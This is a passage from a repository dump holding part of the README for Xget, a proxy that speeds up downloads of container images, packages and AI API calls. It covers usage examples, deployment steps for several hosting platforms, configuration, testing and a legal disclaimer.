xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n\n# Pull Google Container Registry images\ndocker pull xget.xi-xu.me/cr/gcr/distroless/base:latest\n\n# Pull Microsoft Container Registry images\ndocker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0\n```\n\n#### Kubernetes Deployment Configuration\n\n```yaml\n# deployment.yaml - Use Xget's images\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n        - name: nginx\n          image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n          ports:\n            - containerPort: 80\n        - name: redis\n          image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine\n          ports:\n            - containerPort: 6379\n```\n\n#### Docker Compose Configuration\n\n```yaml\n# docker-compose.yml - Use Xget accelerated images\nversion: '3.8'\nservices:\n  web:\n    image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n    ports:\n      - '80:80'\n    volumes:\n      - ./html:/usr/share/nginx/html\n\n  database:\n    image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest\n    environment:\n      ACCEPT_EULA: Y\n      SA_PASSWORD: 'MyStrongPassword123!'\n    volumes:\n      - mssql_data:/var/opt/mssql\n\n  cache:\n    image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine\n    ports:\n      - '6379:6379'\n\nvolumes:\n  mssql_data:\n```\n\n#### Dockerfile Optimization\n\n```dockerfile\n# Use Xget accelerated base images in Dockerfile\nFROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder\n\nWORKDIR /app\nCOPY package*.json ./\nRUN npm install\n\nCOPY . .\nRUN npm run build\n\n# Production stage\nFROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\nCOPY --from=builder /app/dist /usr/share/nginx/html\n\n# Use Microsoft Container Registry's .NET image\nFROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime\nWORKDIR /app\nCOPY --from=builder /app/publish .\nENTRYPOINT [\"dotnet\", \"MyApp.dll\"]\n```\n\n#### CI/CD Integration\n\n```yaml\n# GitHub Actions - Use Xget to accelerate container builds\nname: Build and Deploy\non: [push]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Build with accelerated base images\n        run: |\n          # Build using Xget's base images\n          docker build -t myapp:latest \\\n            --build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine .\n\n      - name: Test with accelerated images\n        run: |\n          # Test using accelerated images\n          docker run --rm \\\n            xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \\\n            dotnet --version\n```\n\n#### Podman Configuration\n\n```bash\n# Configure Podman to use Xget image acceleration\n# Edit /etc/containers/registries.conf\n[[registry]]\nprefix = \"ghcr.io\"\nlocation = \"xget.xi-xu.me/cr/ghcr\"\n\n# Or pull directly\npodman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest\npodman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n```\n\n#### containerd Configuration\n\n```toml\n# Configure containerd to use Xget\n# Edit /etc/containerd/config.toml\n[plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors]\n  [plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"ghcr.io\"]\n    endpoint = [\"https://xget.xi-xu.me/cr/ghcr\"]\n  [plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"gcr.io\"]\n    endpoint = [\"https://xget.xi-xu.me/cr/gcr\"]\n```\n\n```bash\n# Restart containerd\nsudo systemctl restart containerd\n```\n\n### AI Inference API Acceleration\n\n#### OpenAI API\n\n```python\nfrom openai import OpenAI\n\nclient = OpenAI(\n    api_key=\"your-api-key\",\n    base_url=\"https://xget.xi-xu.me/ip/openai/v1\",  # Use Xget\n)\n\nresponse = client.responses.create(\n    model=\"gpt-5.1\",\n    input=\"Hello, GPT!\",\n)\n\nprint(response.output_text)\n```\n\n#### Claude API\n\n```python\nfrom anthropic import Anthropic\n\nclient = Anthropic(\n    api_key=\"your-api-key\",\n    base_url=\"https://xget.xi-xu.me/ip/anthropic\",  # Use Xget\n)\n\nmessage = client.messages.create(\n    model=\"claude-sonnet-4-5\",\n    max_tokens=256,\n    messages=[\n        {\n            \"role\": \"user\",\n            \"content\": \"Hello, Claude!\",\n        }\n    ],\n)\n\nprint(message.content[0].text)\n```\n\n#### Gemini API\n\n```python\nfrom google import genai\nfrom google.genai import types\n\nclient = genai.Client(\n    api_key=\"your-api-key\",\n    http_options=types.HttpOptions(base_url=\"https://xget.xi-xu.me/ip/gemini\"),  # Use Xget\n)\n\nresponse = client.models.generate_content(\n    model=\"gemini-3-pro-preview\",\n    contents=\"Hello, Gemini!\",\n)\n\nprint(response.text)\n```\n\n#### Multi-Provider Unified Interface\n\n```python\nfrom openai import OpenAI\n\nproviders = [\n    (\"Cohere\",  \"your-cohere-api-key\",  \"/cohere/compatibility/v1\", \"command-a-03-2025\"),\n    (\"Mistral\", \"your-mistral-api-key\", \"/mistralai/v1\",            \"mistral-medium-latest\"),\n    (\"xAI\",     \"your-xai-api-key\",     \"/xai/v1\",                  \"grok-4\"),\n]\n\nfor name, key, path, model in providers:\n    client = OpenAI(api_key=key, base_url=\"https://xget.xi-xu.me/ip\" + path)  # Use Xget\n    response = client.chat.completions.create(\n        model=model,\n        messages=[{\"role\": \"user\", \"content\": f\"Hello, who are you?\"}],\n    )\n    print(name, \"=>\", response.choices[0].message.content)\n```\n\n#### Use in JavaScript/Node.js\n\n```javascript\n// OpenAI API acceleration\nimport OpenAI from 'openai';\n\nconst openaiClient = new OpenAI({\n  apiKey: 'your-openai-api-key',\n  baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // Use Xget\n});\n\nasync function chatWithGPT() {\n  const response = await openaiClient.responses.create({\n    model: 'gpt-5.1',\n    input: 'Hello, GPT!'\n  });\n\n  console.log(response.output_text);\n}\n\n// Claude API acceleration\nimport Anthropic from '@anthropic-ai/sdk';\n\nconst anthropicClient = new Anthropic({\n  apiKey: 'your-claude-api-key',\n  baseURL: 'https://xget.xi-xu.me/ip/anthropic' // Use Xget\n});\n\nasync function chatWithClaude() {\n  const message = await anthropicClient.messages.create({\n    model: 'claude-sonnet-4-5',\n    max_tokens: 256,\n    messages: [\n      {\n        role: 'user',\n        content: 'Hello, Claude!'\n      }\n    ]\n  });\n\n  console.log(message.content[0].text);\n}\n\n// Gemini API acceleration\nimport { GoogleGenAI } from '@google/genai';\n\nconst geminiClient = new GoogleGenAI({\n  apiKey: 'your-gemini-api-key'\n});\n\nasync function chatWithGemini() {\n  const response = await geminiClient.models.generateContent({\n    model: 'gemini-3-pro-preview',\n    contents: 'Hello, Gemini!',\n    config: {\n      httpOptions: {\n        baseUrl: 'https://xget.xi-xu.me/ip/gemini' // Use Xget\n      }\n    }\n  });\n\n  console.log(response.text);\n}\n```\n\n#### Environment Variable Configuration\n\n```bash\n# Configure in .env file\nOPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai\nANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic\nGEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini\nCOHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere\nMISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai\nGROQ_BASE_URL=https://xget.xi-xu.me/ip/groq\n```\n\nThen use in code:\n\n```python\nimport os\nfrom openai import OpenAI\n\n# Read configuration from environment variables\nclient = OpenAI(\n    api_key=os.getenv(\"OPENAI_API_KEY\"),\n    base_url=os.getenv(\"OPENAI_BASE_URL\")  # Automatically uses Xget\n)\n```\n\n## 🚀 Deployment\n\n### Deploy to Cloudflare Workers\n\n1. **Fork this repository**:\n   [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **Get Cloudflare credentials**:\n   - Visit\n     [Account API tokens](https://dash.cloudflare.com/?to=/:account/api-tokens)\n     to create and note an API token, using the \"Edit Cloudflare Workers\"\n     template.\n   - Visit\n     [Workers and Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)\n     to note the Account ID.\n\n3. **Configure GitHub Secrets**:\n   - Go to your GitHub repository → Settings → Secrets and variables → Actions\n   - Add the following secrets:\n     - `CLOUDFLARE_API_TOKEN`: Your API token\n     - `CLOUDFLARE_ACCOUNT_ID`: Your Account ID\n\n4. **Trigger deployment**:\n   - Pushing code to the `main` branch will automatically trigger deployment\n   - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.\n     will not trigger deployment\n   - You can also manually trigger deployment in the GitHub Actions page\n\n5. **Bind custom domain** (optional): Bind your custom domain in the Cloudflare\n   Workers console\n\n### Deploy to Cloudflare Pages\n\n1. **Fork this repository**:\n   [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **Get Cloudflare credentials**:\n   - Visit\n     [Account API tokens](https://dash.cloudflare.com/?to=/:account/api-tokens)\n     to create and note an API token, using the \"Edit Cloudflare Workers\"\n     template.\n   - Visit\n     [Workers and Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)\n     to note the Account ID.\n\n3. **Configure GitHub Secrets**:\n   - Go to your GitHub repository → Settings → Secrets and variables → Actions\n   - Add the following secrets:\n     - `CLOUDFLARE_API_TOKEN`: Your API token\n     - `CLOUDFLARE_ACCOUNT_ID`: Your Account ID\n\n4. **Trigger deployment**:\n   - The repository will automatically convert Workers code to Pages-compatible\n     format and sync to the `pages` branch\n   - Pushing code to the `main` branch will automatically trigger sync and\n     deployment workflows\n   - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.\n     will not trigger deployment\n   - You can also manually trigger deployment in the GitHub Actions page\n\n5. **Bind custom domain** (optional): Bind your custom domain in the Cloudflare\n   Pages console\n\n**Note**: The `pages` branch is automatically generated from the `main` branch.\nDo not manually edit the `pages` branch as it will be overwritten by the sync\nworkflow.\n\n### Deploy to EdgeOne Pages\n\n1. **Fork this repository**:\n   [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **Get EdgeOne Pages API Token**:\n   - Visit\n     [China EdgeOne Console](https://console.cloud.tencent.com/edgeone/pages?tab=api)\n     or\n     [International EdgeOne Console](https://console.tencentcloud.com/edgeone/pages?tab=api)\n     to create and note an API Token\n\n3. **Configure GitHub Secrets**:\n   - Go to your GitHub repository → Settings → Secrets and variables → Actions\n   - Add the following secret:\n     - `EDGEONE_API_TOKEN`: Your API Token\n\n4. **Trigger deployment**:\n   - The repository will automatically convert Workers code to Pages-compatible\n     format and sync to the `pages` branch\n   - Pushing code to the `main` branch will automatically trigger sync and\n     deployment workflows\n   - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.\n     will not trigger deployment\n   - You can also manually trigger deployment in the GitHub Actions page\n\n5. **Bind custom domain** (optional): Bind your custom domain in the EdgeOne\n   Pages console\n\n**Note**: The `pages` branch is automatically generated from the `main` branch.\nDo not manually edit the `pages` branch as it will be overwritten by the sync\nworkflow.\n\n### Deploy to Vercel\n\n1. **Fork this repository**:\n   [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **Get Vercel credentials**:\n   - Visit [Vercel Account Settings](https://vercel.com/account/settings/tokens)\n     to create and note an Access Token\n   - Visit Team Settings to note the Team ID\n   - Visit project's Settings after creating a new project to note the Project\n     ID\n\n3. **Configure GitHub Secrets**:\n   - Go to your GitHub repository → Settings → Secrets and variables → Actions\n   - Add the following secrets:\n     - `VERCEL_TOKEN`: Your Access Token\n     - `VERCEL_ORG_ID`: Your Team ID\n     - `VERCEL_PROJECT_ID`: Your Project ID\n\n4. **Trigger deployment**:\n   - The repository will automatically convert Workers code to\n     Functions-compatible format and sync to the `functions` branch\n   - Pushing code to the `main` branch will automatically trigger sync and\n     deployment workflows\n   - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.\n     will not trigger deployment\n   - You can also manually trigger deployment in the GitHub Actions page\n\n5. **Bind custom domain** (optional): Bind your custom domain in the Vercel\n   console\n\n**Note**: The `functions` branch is automatically generated from the `main`\nbranch. Do not manually edit the `functions` branch as it will be overwritten by\nthe sync workflow.\n\n### Deploy to Netlify\n\n1. **Fork this repository**:\n   [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **Get Netlify credentials**:\n   - Visit [Netlify User Settings](https://app.netlify.com/user/applications) to\n     create and note a personal access token\n   - Visit Project configuration after creating a new project to note the\n     Project ID\n\n3. **Configure GitHub Secrets**:\n   - Go to your GitHub repository → Settings → Secrets and variables → Actions\n   - Add the following secrets:\n     - `NETLIFY_AUTH_TOKEN`: Your personal access token\n     - `NETLIFY_SITE_ID`: Your Project ID\n\n4. **Trigger deployment**:\n   - The repository will automatically convert Workers code to\n     Functions-compatible format and sync to the `functions` branch\n   - Pushing code to the `main` branch will automatically trigger sync and\n     deployment workflows\n   - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.\n     will not trigger deployment\n   - You can also manually trigger deployment in the GitHub Actions page\n\n5. **Bind custom domain** (optional): Bind your custom domain in the Netlify\n   console\n\n**Note**: The `functions` branch is automatically generated from the `main`\nbranch. Do not manually edit the `functions` branch as it will be overwritten by\nthe sync workflow.\n\n### Deploy to Deno Deploy\n\n1. **Fork this repository**:\n   [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **Switch default branch**:\n   - Go to your GitHub repository → Settings → General → Default branch\n   - Switch the default branch from `main` to `functions`\n\n3. **Deploy to Deno Deploy**:\n   - Follow the\n     [Deno Deploy official documentation](https://docs.deno.com/deploy/getting_started/)\n     for deployment\n   - Create a new project in the Deno Deploy console and connect your GitHub\n     repository\n\n4. **Bind custom domain** (optional): Bind your custom domain in the Deno Deploy\n   console\n\n**Note**: The `functions` branch is automatically generated from the `main`\nbranch. Do not manually edit the `functions` branch as it will be overwritten by\nthe sync workflow.\n\n### Self-Hosted Deployment\n\nIf you prefer to run Xget on your own server, you can use Docker or Podman\ndeployment:\n\n#### Using Pre-built Image\n\nPull and run the pre-built image from GitHub Container Registry:\n\n**Using Docker:**\n\n```bash\n# Pull the latest image\ndocker pull ghcr.io/xixu-me/xget:latest\n\n# Run the container\ndocker run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  ghcr.io/xixu-me/xget:latest\n```\n\n**Using Podman:**\n\n```bash\n# Pull the latest image\npodman pull ghcr.io/xixu-me/xget:latest\n\n# Run the container\npodman run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  ghcr.io/xixu-me/xget:latest\n```\n\n#### Building Locally\n\nBuild the container image from source:\n\n**Using Docker:**\n\n```bash\n# Clone the repository\ngit clone https://github.com/xixu-me/Xget.git\ncd Xget\n\n# Build the image\ndocker build -t xget:local .\n\n# Run the container\ndocker run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  xget:local\n```\n\n**Using Podman:**\n\n```bash\n# Clone the repository\ngit clone https://github.com/xixu-me/Xget.git\ncd Xget\n\n# Build the image\npodman build -t xget:local .\n\n# Run the container\npodman run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  xget:local\n```\n\n#### Using Docker Compose / Podman Compose\n\nCreate a `docker-compose.yml` file:\n\n```yaml\nversion: '3.8'\n\nservices:\n  xget:\n    image: ghcr.io/xixu-me/xget:latest\n    container_name: xget\n    ports:\n      - '8080:8080'\n    restart: unless-stopped\n```\n\n**Using Docker Compose:**\n\n```bash\ndocker compose up -d\n```\n\n**Using Podman Compose:**\n\n```bash\npodman compose up -d\n```\n\nAfter deployment, Xget will run on port 8080.\n\nIf you want to deploy and run Xget on DigitalOcean, please refer to\n_[Deploying and Optimizing Xget on DigitalOcean](docs/deploy-on-digitalocean.md)_.\nBy signing up via the referral link below, you can receive USD 200 in credits to\ntry Droplets, Kubernetes, App Platform, and more:\n\n<p>\n  <a href=\"https://m.do.co/c/7efe110ca23f\">\n    <img src=\"https://opensource.nyc3.cdn.digitaloceanspaces.com/attribution/assets/PoweredByDO/DO_Powered_by_Badge_blue.svg\" width=\"201px\">\n  </a>\n</p>\n\n**Note**: Self-hosted deployment does not include global edge network\nacceleration. Performance depends on your server configuration and network\nenvironment.\n\n## 🔧 Configuration\n\n### Configuration Parameters\n\nYou can customize configuration by modifying `src/config/index.js`:\n\n```javascript\nexport const CONFIG = {\n  TIMEOUT_SECONDS: 30, // Request timeout (seconds)\n  MAX_RETRIES: 3, // Maximum retry count\n  RETRY_DELAY_MS: 1000, // Retry delay (milliseconds)\n  CACHE_DURATION: 1800, // Cache duration (1800 seconds = 30 minutes)\n  SECURITY: {\n    ALLOWED_METHODS: ['GET', 'HEAD'], // Base allowlist for regular requests; protocol traffic has broader built-in allowances\n    ALLOWED_ORIGINS: ['*'], // Allowed CORS origins\n    MAX_PATH_LENGTH: 2048 // Maximum path length (characters)\n  }\n};\n```\n\n### Performance Tuning Recommendations\n\n- **Cache Optimization**: Adjust `CACHE_DURATION` based on usage patterns,\n  reduce appropriately for frequently updated repositories\n- **Timeout Settings**: Increase `TIMEOUT_SECONDS` appropriately for poor\n  network conditions\n- **Retry Strategy**: Increase `MAX_RETRIES` and `RETRY_DELAY_MS` in\n  high-latency environments\n\n### Adding New Platforms\n\nTo add support for new platforms, update the platform catalog and, if needed,\nthe path transformers:\n\n```javascript\n// src/config/platform-catalog.js\nexport const PLATFORM_CATALOG = {\n  // Existing platforms...\n  custom: 'https://example.com'\n};\n\n// src/routing/platform-transformers.js\nconst PLATFORM_PATH_TRANSFORMERS = {\n  custom: path => path.replace(/^\\/custom\\//, '/')\n};\n```\n\n## 🚧 Development\n\n1. **Repository Setup**\n\n   ```bash\n   git clone https://github.com/xixu-me/Xget.git\n   cd Xget\n   npm install\n   npx wrangler login  # First time use\n   ```\n\n2. **Local Development**\n\n   ```bash\n   npm run dev              # Start development server (http://localhost:8787)\n   npm run test:run         # Run complete test suite\n   npm run test:coverage    # Generate test coverage report\n   npm run lint             # Code linting\n   npm run format           # Code formatting\n   npm run deploy           # Deploy to production\n   ```\n\n## 🧪 Testing\n\nThe repository includes a complete test suite to ensure code quality and\nfunctional correctness.\n\n### Complete Testing\n\n```bash\n# Install test dependencies\nnpm install\n\n# Run all tests\nnpm run test:run\n\n# Generate coverage report\nnpm run test:coverage\n\n# Watch mode\nnpm run test:watch\n```\n\n### Test Coverage\n\n- **Unit Tests**: Core functionality, platform configuration, performance\n  monitoring\n- **Integration Tests**: End-to-end processes, platform integration, Git\n  protocol\n- **Security Tests**: Input validation, security headers, permission control\n- **Performance Tests**: Response time, memory usage, concurrent processing\n\n## 🔍 Troubleshooting\n\n### Common Issues\n\n**Q: No significant speed improvement?** A: Check if source files are already\ncached at CDN edge nodes. Initial access may be slower, subsequent accesses will\nbe significantly faster.\n\n**Q: Git operations failing?** A: Confirm correct URL format is used and Git\nclient version supports HTTPS proxy.\n\n**Q: Cannot access after deployment?** A: Check if Cloudflare Workers domain is\ncorrectly bound, confirm `wrangler.toml` configuration is correct.\n\n**Q: Getting 400 error?** A: Check URL path format, confirm platform prefix is\ncorrectly used.\n\n### Performance Monitoring\n\nPerformance metrics are returned in response headers:\n\n- `X-Performance-Metrics`: Contains timing statistics for request stages\n- `X-Cache-Status`: Shows cache hit status\n\n### Log Debugging\n\nIn development environment, you can view detailed logs through Cloudflare\nWorkers console:\n\n```bash\nnpx wrangler dev --log-level debug\n```\n\n## ⚠️ Disclaimer\n\n- **Legal and Compliant Use**: This repository aims to provide unified\n  acceleration services for code repositories, package registries, AI inference\n  APIs, container images, models, datasets, and other legitimate developer\n  resources. Users must strictly comply with the laws and regulations of their\n  jurisdiction and the terms of service of relevant platforms. Any illegal use\n  is the sole responsibility of the user\n- **Non-Affiliation and Independent Responsibility**: This repository has no\n  affiliation, agency, or partnership relationship with any third-party\n  platforms. Any fork, secondary development, redistribution, or derivative\n  version based on this repository is solely the responsibility of its\n  maintainer; authors, maintainers, and contributors bear no legal or joint\n  liability for the actions or consequences of derivative repositories\n- **No Warranty and Limitation of Liability**: To the maximum extent permitted\n  by applicable law, this repository is provided \"AS IS\" without any express or\n  implied warranties (including but not limited to merchantability, fitness for\n  a particular purpose, non-infringement, etc.). Authors, maintainers, and\n  contributors assume no responsibility for any direct or indirect losses\n  (including but not limited to data loss, business interruption, profit loss,\n  etc.) resulting from the use of this repository\n- **Risk Assumption Principle**: Users should independently assess usage risks,\n  ensure their use is legal and compliant, respect third-party rights, and must\n  not use this repository for any illegal, infringing, malicious, or improper\n  purposes\n- **Third-Party Platform Compliance**: Users must comply with the terms of\n  service, API usage policies, rate limits, and copyright requirements of\n  relevant platforms, and avoid causing overload or interference to source\n  platforms. Each platform has the final interpretation right over its content,\n  services, and policies\n- **Intellectual Property Protection**: Content obtained through this repository\n  is protected by respective copyright laws. Users must comply with relevant\n  licensing agreements, copyright notices, and terms of use, and must not engage\n  in any activities that infringe intellectual property rights\n- **Security Recommendations**: Although this repository adopts a no-log\n  architecture and does not store user request data, due to inherent risks of\n  internet transmission, users are advised to perform security scans on\n  downloaded content, especially for executable files and scripts\n- **Open Source Nature**: This repository is open source. Authors and\n  contributors are not obligated to provide technical support, bug fixes, or\n  continuous maintenance. The inclusion of external contributions does not\n  constitute endorsement or commitment to specific uses or effects\n- **Name Usage Guidelines**: Any representations that may imply authors or\n  contributors provide commercial cooperation, technical support, guarantees, or\n  endorsements are strictly prohibited. The use of repository names or author\n  identifiers must comply with relevant laws and regulations as well as general\n  norms\n- **Disclaimer Updates**: This disclaimer may be updated and revised as the\n  repository develops or legal environments change. Continued use, copying,\n  distribution, or modification of this repository constitutes acceptance of the\n  latest version of this disclaimer\n\n## 🤝 Contributing\n\nWe welcome all forms of contribution! Please check the\n[Contributing Guide](CONTRIBUTING.md) to learn how to participate in repository\ndevelopment.\n\n1. **Report Issues**: Use\n   [issue templates](https://github.com/xixu-me/Xget/issues/new/choose) to\n   report bugs or propose feature requests\n2. **Submit Code**: Fork the repository, create a feature branch, submit a pull\n   request\n3. **Improve Documentation**: Fix errors, add examples, improve descriptions\n4. **Testing Feedback**: Test in different environments and provide feedback\n\n## 🌟 Star History\n\n<a href=\"https://www.star-history.com/#xixu-me/Xget&Date\">\n <picture>\n   <source media=\"(prefers-color-scheme: dark)\" srcset=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date&theme=dark\" />\n   <source media=\"(prefers-color-scheme: light)\" srcset=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date\" />\n   <img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date\" />\n </picture>\n</a>\n\n## 📝 License\n\nCopyright &copy; Xi Xu.\n\nThis repository is licensed under the AGPL-3.0 License - see the\n[LICENSE](LICENSE) file for details.\n\n---\n\n<div align=\"center\">\n\n**If this repository helps you, please consider giving it a ⭐ star!**\n\nMade with ❤️ by [Xi Xu](https://xi-xu.me)\n\n</div>\n\n[![Powered by DartNode](https://dartnode.com/branding/DN-Open-Source-sm.png)](https://dartnode.com 'Powered by DartNode - Free VPS for Open Source')\n"
  },
  {
    "path": "README.zh-Hans.md",
    "content": "<div align=\"center\">\n\n# Xget 🚀\n\n<a href=\"https://trendshift.io/repositories/14768\" target=\"_blank\"><img src=\"https://trendshift.io/api/badge/repositories/14768\" alt=\"xixu-me%2FXget | Trendshift\" width=\"250\" height=\"55\"/></a>\n\n[![Ask Zread](https://img.shields.io/badge/Ask_Zread-_.svg?style=flat&color=00b0aa&labelColor=000000&logo=data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTQuOTYxNTYgMS42MDAxSDIuMjQxNTZDMS44ODgxIDEuNjAwMSAxLjYwMTU2IDEuODg2NjQgMS42MDE1NiAyLjI0MDFWNC45NjAxQzEuNjAxNTYgNS4zMTM1NiAxLjg4ODEgNS42MDAxIDIuMjQxNTYgNS42MDAxSDQuOTYxNTZDNS4zMTUwMiA1LjYwMDEgNS42MDE1NiA1LjMxMzU2IDUuNjAxNTYgNC45NjAxVjIuMjQwMUM1LjYwMTU2IDEuODg2NjQgNS4zMTUwMiAxLjYwMDEgNC45NjE1NiAxLjYwMDFaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00Ljk2MTU2IDEwLjM5OTlIMi4yNDE1NkMxLjg4ODEgMTAuMzk5OSAxLjYwMTU2IDEwLjY4NjQgMS42MDE1NiAxMS4wMzk5VjEzLjc1OTlDMS42MDE1NiAxNC4xMTM0IDEuODg4MSAxNC4zOTk5IDIuMjQxNTYgMTQuMzk5OUg0Ljk2MTU2QzUuMzE1MDIgMTQuMzk5OSA1LjYwMTU2IDE0LjExMzQgNS42MDE1NiAxMy43NTk5VjExLjAzOTlDNS42MDE1NiAxMC42ODY0IDUuMzE1MDIgMTAuMzk5OSA0Ljk2MTU2IDEwLjM5OTlaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik0xMy43NTg0IDEuNjAwMUgxMS4wMzg0QzEwLjY4NSAxLjYwMDEgMTAuMzk4NCAxLjg4NjY0IDEwLjM5ODQgMi4yNDAxVjQuOTYwMUMxMC4zOTg0IDUuMzEzNTYgMTAuNjg1IDUuNjAwMSAxMS4wMzg0IDUuNjAwMUgxMy43NTg0QzE0LjExMTkgNS42MDAxIDE0LjM5ODQgNS4zMTM1NiAxNC4zOTg0IDQuOTYwMVYyLjI0MDFDMTQuMzk4NCAxLjg4NjY0IDE0LjExMTkgMS42MDAxIDEzLjc1ODQgMS42MDAxWiIgZmlsbD0iI2ZmZiIvPgo8cGF0aCBkPSJNNCAxMkwxMiA0TDQgMTJaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00IDEyTDEyIDQiIHN0cm9rZT0iI2ZmZiIgc3Ryb2tlLXdpZHRoPSIxLjUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPgo8L3N2Zz4K&logoColor=ffffff)](https://zread.ai/xixu-me/Xget)\n[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/xixu-me/Xget)\n[![codecov](https://codecov.io/github/xixu-me/xget/graph/badge.svg?token=KDFMG9YX8G)](https://codecov.io/github/xixu-me/xget)\n[![Chromium](https://img.shields.io/badge/Chromium-4285F4?logo=googlechrome&logoColor=white)](#-生态系统集成)\n[![Firefox](https://img.shields.io/badge/Firefox-FF7139?logo=Firefox&logoColor=white)](#-生态系统集成)\n\n[![Cloudflare](https://img.shields.io/badge/Cloudflare-F38020?&logo=cloudflare&logoColor=white)](#部署到-cloudflare-workers)\n[![EdgeOne](https://img.shields.io/badge/EdgeOne-006EFF?&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAYAAAByDd+UAAACNklEQVR4nJ1W7XHbMAx96ul/lQnCDapOUG3gdIIkG6QjdINOUGeDNhNYmUDuBHIWiNQF/PqDYAxDoMUGdzx+AXgAAQGqSKKAOgAbma8BXMn5DGAv4wlAv6qJ5KVxR3LkOR3NWu9HkcnqzF0EkoMDcsysLd8oOooAb0lOF7wqpYnkzRrgZkVJ8mp0jLFzotscYOC6ZyNjjLbOnTZI7weSjQc4ZoQmkjuSneIdMoADyR9iVKuB0qglWYOT0n9Uys/qPAD4ZHgfAXwzfO/6LLyxcTxbJEdufFi1aEk32l6Z+1Lhep1lQa1aVwI2O3wBsTIFxOoUADzVspgzQp6S1pztATRyvpG5lTNLTUVykssJwF91OQP4bATuAGzVngBexJD0vJW51/u5VpZc4VSUgViMLX1xlIUCoERNLoYE8Ns579S6chTngGYZh1oWjRGoEGOjKSAGP/HovqblDoiJtAfwLPv5xHnqCrbNeK3K8qX9juQDMx3CVpoesXLop7DeATF+2rsKsbo8oizD3zzsjLWk30RHw7N7R5V68/AgMUpeWg9bLLOxL/AniOw1Yp58t/FZi5+mzuFrJJY/Sb6qFzmmV9PMgzBsHUW/eN5gJwdk54Rm4YTXgHPx00p24qEGydFElb3e09nUbpXVuZ+oS/88Z62rJLMelHAJSDqf6LxWSXvS35/+Vr0SlqrPHsBXxOw/o5IGHDLKE4AucS8A7hG7zAIMACryv371WxkfxYhZFD8jFvt+TdE/deK28xBAUlEAAAAASUVORK5CYII=)](#部署到-edgeone-pages)\n[![Vercel](https://img.shields.io/badge/Vercel-000000?&logo=vercel&logoColor=white)](#部署到-vercel)\n[![Netlify](https://img.shields.io/badge/Netlify-00C7B7?&logo=netlify&logoColor=white)](#部署到-netlify)\n[![Deno](https://img.shields.io/badge/Deno-000000?&logo=deno&logoColor=white)](#部署到-deno-deploy)\n[![Docker](https://img.shields.io/badge/Docker-2496ED?&logo=docker&logoColor=white)](#自托管部署)\n[![Podman](https://img.shields.io/badge/Podman-892CA0?&logo=podman&logoColor=white)](#自托管部署)\n\n[English](README.md) | **汉语（简体）** | 